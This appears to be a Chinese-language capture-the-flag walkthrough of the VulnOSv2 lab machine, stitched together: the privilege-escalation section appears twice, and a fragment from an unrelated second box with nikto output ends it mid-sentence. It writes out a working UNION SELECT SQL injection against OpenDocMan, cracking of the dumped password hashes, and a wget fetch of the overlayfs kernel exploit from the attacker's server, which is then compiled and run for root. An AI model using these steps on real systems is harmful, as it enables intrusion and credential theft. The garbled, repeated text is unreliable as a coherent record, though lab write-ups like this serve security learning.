192.168.18.177 - - [13/Nov/2022 02:22:29] "GET / HTTP/1.1" 200 -
192.168.18.177 - - [13/Nov/2022 02:22:29] code 404, message File not found
192.168.18.177 - - [13/Nov/2022 02:22:29] "GET /favicon.ico HTTP/1.1" 404 -
192.168.18.176 - - [13/Nov/2022 02:22:48] "GET /37292.c HTTP/1.1" 200 -
再讓靶機下載下來:(以下在靶機的cmd下指令)
webmin@VulnOSv2:~$ wget http://192.168.18.177:8000/37292.c
--2022-11-12 22:00:17-- http://192.168.18.177:8000/37292.c
Connecting to 192.168.18.177:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4968 (4.9K) [text/x-csrc]
Saving to: ‘37292.c’
100%[======================================>] 4,968 --.-K/s in 0s
2022-11-12 22:00:17 (842 MB/s) - ‘37292.c’ saved [4968/4968]
webmin@VulnOSv2:~$ gcc 37292.c
webmin@VulnOSv2:~$ ls
37292.c a.out post.tar.gz wget-log
webmin@VulnOSv2:~$ ./a.out
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# whoami
root
成功提權後,就是找flag,不過還是得先穩定shell:
找flag:
# locate root
/root
/etc/alternatives/fakeroot
/etc/alternatives/fakeroot.1.gz
/etc/alternatives/fakeroot.es.1.gz
/etc/alternatives/fakeroot.fr.1.gz
/etc/alternatives/fakeroot.sv.1.gz
/etc/drupal/7/sites/all/modules/views/modules/book/views_plugin_argument_default_book_root.inc
/etc/init/checkroot-bootclean.sh.conf
/etc/init/checkroot.sh.conf
/etc/init.d/umountroot
/etc/ld.so.conf.d/fakeroot-i386-linux-gnu.conf
/etc/postgresql-common/root.crt
/etc/rc0.d/S60umountroot
/etc/rc6.d/S60umountroot
/etc/ssl/certs/Comodo_AAA_Services_root.pem
/etc/ssl/certs/Comodo_Secure_Services_root.pem
/etc/ssl/certs/Comodo_Trusted_Services_root.pem
/lib/i386-linux-gnu/security/pam_rootok.so
/lib/recovery-mode/options/root
/root/.bash_history
/root/.bashrc
/root/.cache
/root/.profile
/root/.psql_history
/root/.viminfo
/root/flag.txt
/root/.cache/motd.legal-displayed
/sbin/pivot_root
/sbin/switch_root
/usr/bin/fakeroot
/usr/bin/fakeroot-sysv
/usr/bin/fakeroot-tcp
/usr/bin/ischroot
/usr/lib/i386-linux-gnu/libfakeroot
/usr/lib/i386-linux-gnu/libfakeroot/libfakeroot-0.so
/usr/lib/i386-linux-gnu/libfakeroot/libfakeroot-sysv.so
/usr/lib/i386-linux-gnu/libfakeroot/libfakeroot-tcp.so
/usr/lib/i386-linux-gnu/samba/ldb/rootdse.so
/usr/lib/initramfs-tools/bin/wait-for-root
/usr/lib/klibc/bin/chroot
/usr/lib/klibc/bin/pivot_root
/usr/lib/python2.7/dist-packages/twisted/python/roots.py
/usr/lib/python2.7/dist-packages/twisted/python/roots.pyc
/usr/lib/python2.7/dist-packages/twisted/python/zsh/_websetroot
/usr/lib/python2.7/dist-packages/twisted/test/test_roots.py
/usr/lib/python2.7/dist-packages/twisted/test/test_roots.pyc
/usr/sbin/chroot
/usr/share/apport/root_info_wrapper
/usr/share/ca-certificates/mozilla/Comodo_AAA_Services_root.crt
/usr/share/ca-certificates/mozilla/Comodo_Secure_Services_root.crt
/usr/share/ca-certificates/mozilla/Comodo_Trusted_Services_root.crt
/usr/share/doc/fakeroot
/usr/share/doc/libfakeroot
/usr/share/doc/fakeroot/DEBUG
/usr/share/doc/fakeroot/README
/usr/share/doc/fakeroot/README.saving
/usr/share/doc/fakeroot/changelog.Debian.gz
/usr/share/doc/fakeroot/copyright
/usr/share/doc/libfakeroot/DEBUG
/usr/share/doc/libfakeroot/README
/usr/share/doc/libfakeroot/README.saving
/usr/share/doc/libfakeroot/changelog.Debian.gz
/usr/share/doc/libfakeroot/copyright
/usr/share/man/de/man1/fakeroot-sysv.1.gz
/usr/share/man/de/man1/fakeroot-tcp.1.gz
/usr/share/man/es/man1/fakeroot-sysv.1.gz
/usr/share/man/es/man1/fakeroot-tcp.1.gz
/usr/share/man/es/man1/fakeroot.1.gz
/usr/share/man/fr/man1/fakeroot-sysv.1.gz
/usr/share/man/fr/man1/fakeroot-tcp.1.gz
/usr/share/man/fr/man1/fakeroot.1.gz
/usr/share/man/man1/fakeroot-sysv.1.gz
/usr/share/man/man1/fakeroot-tcp.1.gz
/usr/share/man/man1/fakeroot.1.gz
/usr/share/man/man1/ischroot.1.gz
/usr/share/man/man2/chroot.2.gz
/usr/share/man/man2/pivot_root.2.gz
/usr/share/man/man8/chroot.8.gz
/usr/share/man/man8/pam_rootok.8.gz
/usr/share/man/man8/pivot_root.8.gz
/usr/share/man/man8/sudo_root.8.gz
/usr/share/man/man8/switch_root.8.gz
/usr/share/man/nl/man1/fakeroot-sysv.1.gz
/usr/share/man/nl/man1/fakeroot-tcp.1.gz
/usr/share/man/sv/man1/fakeroot-sysv.1.gz
/usr/share/man/sv/man1/fakeroot-tcp.1.gz
/usr/share/man/sv/man1/fakeroot.1.gz
/usr/share/postgresql-common/t/130_nonroot_admin.t
/usr/share/postgresql-common/t/160_alternate_confroot.t
/usr/src/linux-headers-3.13.0-24/include/linux/root_dev.h
/usr/src/linux-headers-3.13.0-24-generic/include/config/eisa/virtual/root.h
/usr/src/linux-headers-3.13.0-24-generic/include/config/usb/ehci/root
/usr/src/linux-headers-3.13.0-24-generic/include/config/usb/ehci/root/hub
/usr/src/linux-headers-3.13.0-24-generic/include/config/usb/ehci/root/hub/tt.h
/usr/src/linux-headers-3.13.0-24-generic/include/linux/root_dev.h
/var/lib/dpkg/alternatives/fakeroot
/var/lib/dpkg/info/fakeroot.list
/var/lib/dpkg/info/fakeroot.md5sums
/var/lib/dpkg/info/fakeroot.postinst
/var/lib/dpkg/info/fakeroot.postrm
/var/lib/dpkg/info/fakeroot.prerm
/var/lib/dpkg/info/libfakeroot:i386.conffiles
/var/lib/dpkg/info/libfakeroot:i386.list
/var/lib/dpkg/info/libfakeroot:i386.md5sums
/var/log/fsck/checkroot
穩定shell,看看最可疑的文件:
# pwd
/home/webmin
# cd ..
# cd ..
# python -c 'import pty;pty.spawn("/bin/bash")'
root@VulnOSv2:/# pwd
/
root@VulnOSv2:/# ls
bin dev home lib media opt root sbin sys usr vmlinuz
boot etc initrd.img lost+found mnt proc run srv tmp var
root@VulnOSv2:/# cat /root/flag.txt
Hello and welcome.
You successfully compromised the company "JABC" and the server completely !!
Congratulations !!!
Hope you enjoyed it.
What do you think of A.I.?
┌──(kali㉿kali)-[~]
└─$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.18.177 netmask 255.255.255.0 broadcast 192.168.18.255
inet6 fe80::bf14:b276:6eec:61fa prefixlen 64 scopeid 0x20<link>
ether 08:00:27:c7:69:7d txqueuelen 1000 (Ethernet)
RX packets 32 bytes 14219 (13.8 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 36 bytes 11636 (11.3 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 4 bytes 240 (240.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 4 bytes 240 (240.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
┌──(kali㉿kali)-[~]
└─$ nmap -sP 192.168.18.0/24
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-07 06:28 EST
Nmap scan report for 192.168.18.1
Host is up (0.0069s latency).
Nmap scan report for 192.168.18.21
Host is up (0.010s latency).
Nmap scan report for 192.168.18.176
Host is up (0.0024s latency).
Nmap scan report for 192.168.18.177
Host is up (0.000069s latency).
Nmap done: 256 IP addresses (4 hosts up) scanned in 2.49 seconds
掃描開啟port:
└─$ sudo nmap -sS -sV -A -p- 192.168.18.176
[sudo] password for nathan:
Starting Nmap 7.92 ( https://nmap.org ) at 2022-11-12 16:55 CST
Nmap scan report for 192.168.18.176
Host is up (0.0013s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 f5:4d:c8:e7:8b:c1:b2:11:95:24:fd:0e:4c:3c:3b:3b (DSA)
| 2048 ff:19:33:7a:c1:ee:b5:d0:dc:66:51:da:f0:6e:fc:48 (RSA)
| 256 ae:d7:6f:cc:ed:4a:82:8b:e8:66:a5:11:7a:11:5f:86 (ECDSA)
|_ 256 71:bc:6b:7b:56:02:a4:8e:ce:1c:8e:a6:1e:3a:37:94 (ED25519)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-title: VulnOSv2
|_http-server-header: Apache/2.4.7 (Ubuntu)
6667/tcp open irc ngircd
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=11/12%OT=22%CT=1%CU=42940%PV=Y%DS=2%DC=T%G=Y%TM=636F5F
OS:A2%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=10C%TI=Z%CI=I%II=I%TS=8)OP
OS:S(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5=M5B4ST
OS:11NW7%O6=M5B4ST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)EC
OS:N(R=Y%DF=Y%T=40%W=7210%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=
OS:AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(
OS:R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%
OS:F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N
OS:%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=8380%RUD=G)IE(R=Y%DFI=N%T=4
OS:0%CD=S)
Network Distance: 2 hops
Service Info: Host: irc.example.net; OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 256/tcp)
HOP RTT ADDRESS
1 0.63 ms DESKTOP-NRNV04H.mshome.net (172.23.32.1)
2 2.24 ms 192.168.18.176
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 37.21 seconds
Segmentation fault
有開80port,先看網頁:
點下面的紫色超連結:
到
到
看到這網頁的思路: sql injection,或是強攻這個CMS框架,它的版本號如上圖紅框。先利用searchsploit找找看:
┌──(nathan㉿DESKTOP-NRNV04H)-[~/target_machine/VulnOSv2]
└─$ searchsploit opendocman
-------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------------------------------- ---------------------------------
OpenDocMan 1.2.5 - 'add.php?last_message' Cross-Site Scripting | php/webapps/33295.txt
OpenDocMan 1.2.5 - 'admin.php?last_message' Cross-Site Scripting | php/webapps/33298.txt
OpenDocMan 1.2.5 - 'category.php' Cross-Site Scripting | php/webapps/33299.txt
OpenDocMan 1.2.5 - 'department.php' Cross-Site Scripting | php/webapps/33300.txt
OpenDocMan 1.2.5 - 'index.php?last_message' Cross-Site Scripting | php/webapps/33297.txt
OpenDocMan 1.2.5 - 'profile.php' Cross-Site Scripting | php/webapps/33301.txt
OpenDocMan 1.2.5 - 'rejects.php' Cross-Site Scripting | php/webapps/33302.txt
OpenDocMan 1.2.5 - 'search.php' Cross-Site Scripting | php/webapps/33303.txt
OpenDocMan 1.2.5 - 'toBePublished.php' Multiple Cross-Site Scripting Vulnerabilities | php/webapps/33296.txt
OpenDocMan 1.2.5 - 'user.php' Cross-Site Scripting | php/webapps/33304.txt
OpenDocMan 1.2.5 - 'view_file.php' Cross-Site Scripting | php/webapps/33305.txt
OpenDocMan 1.2.5 - Cross-Site Scripting / SQL Injection | php/webapps/9903.txt
OpenDocMan 1.2.6.1 - Cross-Site Request Forgery (Password Change) | php/webapps/20709.html
OpenDocMan 1.2.6.5 - Persistent Cross-Site Scripting | php/webapps/25250.txt
OpenDocMan 1.2.7 - Multiple Vulnerabilities | php/webapps/32075.txt
OpenDocMan 1.3.4 - 'search.php where' SQL Injection | php/webapps/46500.txt
OpenDocMan 1.3.4 - Cross-Site Request Forgery | php/webapps/39414.txt
OpenDocMan 1.x - 'out.php' Cross-Site Scripting | php/webapps/31933.txt
-------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
┌──(nathan㉿DESKTOP-NRNV04H)-[~/target_machine/VulnOSv2]
└─$ searchsploit -m 32075
Exploit: OpenDocMan 1.2.7 - Multiple Vulnerabilities
URL: https://www.exploit-db.com/exploits/32075
Path: /usr/share/exploitdb/exploits/php/webapps/32075.txt
File Type: Unicode text, UTF-8 text
Copied to: /home/nathan/target_machine/VulnOSv2/32075.txt
可以看到32075.txt
是針對1.2.7這個版本。來看看裡面的內容:
└─$ cat 32075.txt
Advisory ID: HTB23202
Product: OpenDocMan
Vendor: Free Document Management Software
Vulnerable Version(s): 1.2.7 and probably prior
Tested Version: 1.2.7
Advisory Publication: February 12, 2014 [without technical details]
Vendor Notification: February 12, 2014
Vendor Patch: February 24, 2014
Public Disclosure: March 5, 2014
Vulnerability Type: SQL Injection [CWE-89], Improper Access Control [CWE-284]
CVE References: CVE-2014-1945, CVE-2014-1946
Risk Level: High
CVSSv2 Base Scores: 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P), 6.5 (AV:N/AC:L/Au:S/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )
------------------------------------------------------------------------
-----------------------
Advisory Details:
High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in OpenDocMan, which can be exploited to perform SQL Injection and gain administrative access to the application.
1) SQL Injection in OpenDocMan: CVE-2014-1945
The vulnerability exists due to insufficient validation of "add_value" HTTP GET parameter in "/ajax_udf.php" script. A remote unauthenticated attacker can execute arbitrary SQL commands in application's database.
The exploitation example below displays version of the MySQL server:
http://[host]/ajax_udf.php?q=1&add_value=odm_user%20UNION%20SELECT%201,v
ersion%28%29,3,4,5,6,7,8,9
2) Improper Access Control in OpenDocMan: CVE-2014-1946
The vulnerability exists due to insufficient validation of allowed action in "/signup.php" script when updating userâ??s profile. A remote authenticated attacker can assign administrative privileges to the current account and gain complete control over the application.
The exploitation example below assigns administrative privileges for the current account:
<form action="http://[host]/signup.php" method="post" name="main">
<input type="hidden" name="updateuser" value="1">
<input type="hidden" name="admin" value="1">
<input type="hidden" name="id" value="[USER_ID]">
<input type="submit" name="login" value="Run">
</form>
------------------------------------------------------------------------
-----------------------
Solution:
Update to OpenDocMan v1.2.7.2
More Information:
http://www.opendocman.com/opendocman-v1-2-7-1-release/
http://www.opendocman.com/opendocman-v1-2-7-2-released/
------------------------------------------------------------------------
-----------------------
References:
[1] High-Tech Bridge Advisory HTB23202 - https://www.htbridge.com/advisory/HTB23202 - Multiple vulnerabilities in OpenDocMan.
[2] OpenDocMan - http://www.opendocman.com/ - Open Source Document Management System written in PHP.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - international in scope and free for public use, CVE® is a dictionary of publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to developers and security practitioners, CWE is a formal list of software weakness types.
[5] ImmuniWeb® - http://www.htbridge.com/immuniweb/ - is High-Tech Bridge's proprietary web application security assessment solution with SaaS delivery model that combines manual and automated vulnerability testing.
------------------------------------------------------------------------
-----------------------
Disclaimer: The information provided in this Advisory is provided "as is" and without any warranty of any kind. Details of this Advisory may be updated in order to provide as accurate information as possible. The latest version of the Advisory is available on web page [1] in the References.
可以看到,其實也是利用SQL injection。就照這txt所說的輸入網址:
http://192.168.18.176/jabcd0cs/ajax_udf.php?q=1&add_value=odm_user UNION SELECT 1,version(),3,4,5,6,7,8,9
就會出現下圖:
紅圈圈起來就是回顯點。
搞清楚回顯點後,就可以更改sql查詢語句,去查想要的資料,上圖查了使用者名稱,可以再查一查這一些使用者對應的密碼:
查一查下面兩個亂碼是什麼hash生成的:
└─$ hash-identifier
#########################################################################
# __ __ __ ______ _____ #
# /\ \/\ \ /\ \ /\__ _\ /\ _ `\ #
# \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ #
# \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ #
# \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ #
# \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ #
# \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 #
# By Zion3R #
# www.Blackploit.com #
# Root@Blackploit.com #
#########################################################################
--------------------------------------------------
HASH: b78aae356709f8c31118ea613980954b
Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))
大概是MD5。在這個網站可以查到
b78aae356709f8c31118ea613980954b
是webmin1980
在這個網站可以查到
084e0343a0486ff05530df6c705c8bb4
是guest。
就用webmin的帳號登入:
└─$ ssh webmin@192.168.18.176
The authenticity of host '192.168.18.176 (192.168.18.176)' can't be established.
ED25519 key fingerprint is SHA256:7FO0Y5C+W/hj0ShAjGy33uQvuMRPrSNk82jGy/wxnfY.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.18.176' (ED25519) to the list of known hosts.
webmin@192.168.18.176's password:
Welcome to Ubuntu 14.04.4 LTS (GNU/Linux 3.13.0-24-generic i686)
* Documentation: https://help.ubuntu.com/
System information as of Sat Nov 12 05:56:47 CET 2022
System load: 0.0 Memory usage: 2% Processes: 63
Usage of /: 5.7% of 29.91GB Swap usage: 0% Users logged in: 0
Graph this data and manage this system at:
https://landscape.canonical.com/
Last login: Wed May 4 10:41:07 2016
$ echo os.system('/bin/bash')
-sh: 1: Syntax error: "(" unexpected
$ python -c 'import pty;pty.spawn("/bin/bash")'
webmin@VulnOSv2:~$
記得使用python -c 'import pty;pty.spawn("/bin/bash")'
來穩定shell。
查詢靶機使用的作業系統核心:
webmin@VulnOSv2:~$ uname -a
Linux VulnOSv2 3.13.0-24-generic #47-Ubuntu SMP Fri May 2 23:31:42 UTC 2014 i686 i686 i686 GNU/Linux
尋找弱點:(攻擊機上)
└─$ searchsploit 3.13.0
-------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------------------------------- ---------------------------------
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privi | linux/local/37292.c
Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privi | linux/local/37293.txt
-------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
找到這兩個,其實應該算同一個,一個是攻擊腳本的c原始碼,一個是漏洞介紹的txt,就都複製過來:
┌──(nathan㉿DESKTOP-NRNV04H)-[~/target_machine/VulnOSv2]
└─$ searchsploit -m 37292
Exploit: Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation
URL: https://www.exploit-db.com/exploits/37292
Path: /usr/share/exploitdb/exploits/linux/local/37292.c
File Type: C source, ASCII text, with very long lines (466)
Copied to: /home/nathan/target_machine/VulnOSv2/37292.c
┌──(nathan㉿DESKTOP-NRNV04H)-[~/target_machine/VulnOSv2]
└─$ searchsploit -m 37293
Exploit: Linux Kernel 3.13.0 < 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - 'overlayfs' Local Privilege Escalation (Access /etc/shadow)
URL: https://www.exploit-db.com/exploits/37293
Path: /usr/share/exploitdb/exploits/linux/local/37293.txt
File Type: ASCII text
Copied to: /home/nathan/target_machine/VulnOSv2/37293.txt
看了一下txt是本地提權,也就是這個攻擊腳本需在靶機上執行,但沒介紹攻擊腳本要怎麼用,總之先在攻擊機上建簡單web server:
└─$ python -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
192.168.18.177 - - [13/Nov/2022 02:22:29] "GET / HTTP/1.1" 200 -
192.168.18.177 - - [13/Nov/2022 02:22:29] code 404, message File not found
192.168.18.177 - - [13/Nov/2022 02:22:29] "GET /favicon.ico HTTP/1.1" 404 -
192.168.18.176 - - [13/Nov/2022 02:22:48] "GET /37292.c HTTP/1.1" 200 -
再讓靶機下載下來:(以下在靶機的cmd下指令)
webmin@VulnOSv2:~$ wget http://192.168.18.177:8000/37292.c
--2022-11-12 22:00:17-- http://192.168.18.177:8000/37292.c
Connecting to 192.168.18.177:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4968 (4.9K) [text/x-csrc]
Saving to: ‘37292.c’
100%[======================================>] 4,968 --.-K/s in 0s
2022-11-12 22:00:17 (842 MB/s) - ‘37292.c’ saved [4968/4968]
webmin@VulnOSv2:~$ gcc 37292.c
webmin@VulnOSv2:~$ ls
37292.c a.out post.tar.gz wget-log
webmin@VulnOSv2:~$ ./a.out
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# whoami
root
成功提權後,就是找flag,不過還是得先穩定shell:
找flag:
# locate root
/root
/etc/alternatives/fakeroot
/etc/alternatives/fakeroot.1.gz
/etc/alternatives/fakeroot.es.1.gz
/etc/alternatives/fakeroot.fr.1.gz
/etc/alternatives/fakeroot.sv.1.gz
/etc/drupal/7/sites/all/modules/views/modules/book/views_plugin_argument_default_book_root.inc
/etc/init/checkroot-bootclean.sh.conf
/etc/init/checkroot.sh.conf
/etc/init.d/umountroot
/etc/ld.so.conf.d/fakeroot-i386-linux-gnu.conf
/etc/postgresql-common/root.crt
/etc/rc0.d/S60umountroot
/etc/rc6.d/S60umountroot
/etc/ssl/certs/Comodo_AAA_Services_root.pem
/etc/ssl/certs/Comodo_Secure_Services_root.pem
/etc/ssl/certs/Comodo_Trusted_Services_root.pem
/lib/i386-linux-gnu/security/pam_rootok.so
/lib/recovery-mode/options/root
/root/.bash_history
/root/.bashrc
/root/.cache
/root/.profile
/root/.psql_history
/root/.viminfo
/root/flag.txt
/root/.cache/motd.legal-displayed
/sbin/pivot_root
/sbin/switch_root
/usr/bin/fakeroot
/usr/bin/fakeroot-sysv
/usr/bin/fakeroot-tcp
/usr/bin/ischroot
/usr/lib/i386-linux-gnu/libfakeroot
/usr/lib/i386-linux-gnu/libfakeroot/libfakeroot-0.so
/usr/lib/i386-linux-gnu/libfakeroot/libfakeroot-sysv.so
/usr/lib/i386-linux-gnu/libfakeroot/libfakeroot-tcp.so
/usr/lib/i386-linux-gnu/samba/ldb/rootdse.so
/usr/lib/initramfs-tools/bin/wait-for-root
/usr/lib/klibc/bin/chroot
/usr/lib/klibc/bin/pivot_root
/usr/lib/python2.7/dist-packages/twisted/python/roots.py
/usr/lib/python2.7/dist-packages/twisted/python/roots.pyc
/usr/lib/python2.7/dist-packages/twisted/python/zsh/_websetroot
/usr/lib/python2.7/dist-packages/twisted/test/test_roots.py
/usr/lib/python2.7/dist-packages/twisted/test/test_roots.pyc
/usr/sbin/chroot
/usr/share/apport/root_info_wrapper
/usr/share/ca-certificates/mozilla/Comodo_AAA_Services_root.crt
/usr/share/ca-certificates/mozilla/Comodo_Secure_Services_root.crt
/usr/share/ca-certificates/mozilla/Comodo_Trusted_Services_root.crt
/usr/share/doc/fakeroot
/usr/share/doc/libfakeroot
/usr/share/doc/fakeroot/DEBUG
/usr/share/doc/fakeroot/README
/usr/share/doc/fakeroot/README.saving
/usr/share/doc/fakeroot/changelog.Debian.gz
/usr/share/doc/fakeroot/copyright
/usr/share/doc/libfakeroot/DEBUG
/usr/share/doc/libfakeroot/README
/usr/share/doc/libfakeroot/README.saving
/usr/share/doc/libfakeroot/changelog.Debian.gz
/usr/share/doc/libfakeroot/copyright
/usr/share/man/de/man1/fakeroot-sysv.1.gz
/usr/share/man/de/man1/fakeroot-tcp.1.gz
/usr/share/man/es/man1/fakeroot-sysv.1.gz
/usr/share/man/es/man1/fakeroot-tcp.1.gz
/usr/share/man/es/man1/fakeroot.1.gz
/usr/share/man/fr/man1/fakeroot-sysv.1.gz
/usr/share/man/fr/man1/fakeroot-tcp.1.gz
/usr/share/man/fr/man1/fakeroot.1.gz
/usr/share/man/man1/fakeroot-sysv.1.gz
/usr/share/man/man1/fakeroot-tcp.1.gz
/usr/share/man/man1/fakeroot.1.gz
/usr/share/man/man1/ischroot.1.gz
/usr/share/man/man2/chroot.2.gz
/usr/share/man/man2/pivot_root.2.gz
/usr/share/man/man8/chroot.8.gz
/usr/share/man/man8/pam_rootok.8.gz
/usr/share/man/man8/pivot_root.8.gz
/usr/share/man/man8/sudo_root.8.gz
/usr/share/man/man8/switch_root.8.gz
/usr/share/man/nl/man1/fakeroot-sysv.1.gz
/usr/share/man/nl/man1/fakeroot-tcp.1.gz
/usr/share/man/sv/man1/fakeroot-sysv.1.gz
/usr/share/man/sv/man1/fakeroot-tcp.1.gz
/usr/share/man/sv/man1/fakeroot.1.gz
/usr/share/postgresql-common/t/130_nonroot_admin.t
/usr/share/postgresql-common/t/160_alternate_confroot.t
/usr/src/linux-headers-3.13.0-24/include/linux/root_dev.h
/usr/src/linux-headers-3.13.0-24-generic/include/config/eisa/virtual/root.h
/usr/src/linux-headers-3.13.0-24-generic/include/config/usb/ehci/root
/usr/src/linux-headers-3.13.0-24-generic/include/config/usb/ehci/root/hub
/usr/src/linux-headers-3.13.0-24-generic/include/config/usb/ehci/root/hub/tt.h
/usr/src/linux-headers-3.13.0-24-generic/include/linux/root_dev.h
/var/lib/dpkg/alternatives/fakeroot
/var/lib/dpkg/info/fakeroot.list
/var/lib/dpkg/info/fakeroot.md5sums
/var/lib/dpkg/info/fakeroot.postinst
/var/lib/dpkg/info/fakeroot.postrm
/var/lib/dpkg/info/fakeroot.prerm
/var/lib/dpkg/info/libfakeroot:i386.conffiles
/var/lib/dpkg/info/libfakeroot:i386.list
/var/lib/dpkg/info/libfakeroot:i386.md5sums
/var/log/fsck/checkroot
穩定shell,看看最可疑的文件:
# pwd
/home/webmin
# cd ..
# cd ..
# python -c 'import pty;pty.spawn("/bin/bash")'
root@VulnOSv2:/# pwd
/
root@VulnOSv2:/# ls
bin dev home lib media opt root sbin sys usr vmlinuz
boot etc initrd.img lost+found mnt proc run srv tmp var
root@VulnOSv2:/# cat /root/flag.txt
Hello and welcome.
You successfully compromised the company "JABC" and the server completely !!
Congratulations !!!
Hope you enjoyed it.
What do you think of A.I.?
看看能不能直接登入:
$ mysql -u root -p -h 192.168.44.227
Enter password:
ERROR 1045 (28000): Access denied for user 'root'@'192.168.44.1' (using password: NO)
看來也沒蠢到用空密碼。
這個port有開apache,直接網頁連連看,網址列是192.168.44.227:12380
檢視這網頁的原始碼,可以發現裡面有一行註釋:
<!-- A message from the head of our HR department, Zoe, if you are looking at this, we want to hire you! -->
所以可能有一個用戶Zoe。
而既然這裡有一個web網頁,當然用nikto或dirb掃掃看:
$ nikto -h 192.168.44.227:12380
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.44.227
+ Target Hostname: 192.168.44.227
+ Target Port: 12380
---------------------------------------------------------------------------
+ SSL Info: Subject: /C=UK/ST=Somewhere in the middle of nowhere/L=Really, what are you meant to put here?/O=Initech/OU=Pam: I give up. no idea what to put here./CN=Red.Initech/emailAddress=pam@red.localhost
Ciphers: ECDHE-RSA-AES256-GCM-SHA384
Issuer: /C=UK/ST=Somewhere in the middle of nowhere/L=Really, what are you meant to put here?/O=Initech/OU=Pam: I give up. no idea what to put here./CN=Red.Initech/emailAddress=pam@red.localhost
+ Start Time: 2022-11-01 12:20:40 (GMT8)
---------------------------------------------------------------------------
+ Server: Apache/2.4.18 (Ubuntu)
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ Uncommon header 'dave' found, with contents: Soemthing doesn't look right here
+ The site uses SSL and the Strict-Transport-Security HTTP header is not defined.
+ The site uses SSL and Expect-CT header is not present.
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Entry '/admin112233/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ Entry '/blogblog/' in robots.txt returned a non-forbidden or redirect HTTP code (200)
+ "robots.txt" contains 2 entries which should be manually viewed.
+ Hostname '192.168.44.227' does not match certificate's names: Red.Initech
+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.
+ Allowed HTTP Methods: OPTIONS, GET, HEAD, POST
+ Uncommon header 'x-ob_mode' found, with contents: 1
+ OSVDB-3233: /icons/README: Apache default file found.
+ /phpmyadmin/: phpMyAdmin directory found
+ 8071 requests: 0 error(s) and 15 item(s) reported on remote host
+ End Time: 2022-11-01 12:24:07 (GMT8) (207 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
從nikto的掃瞄結果,可以發現有admin112233、blogblog還有phpmyadmin等隱藏路徑。
雖然直接用http://192.168.44.227:12380/admin112233
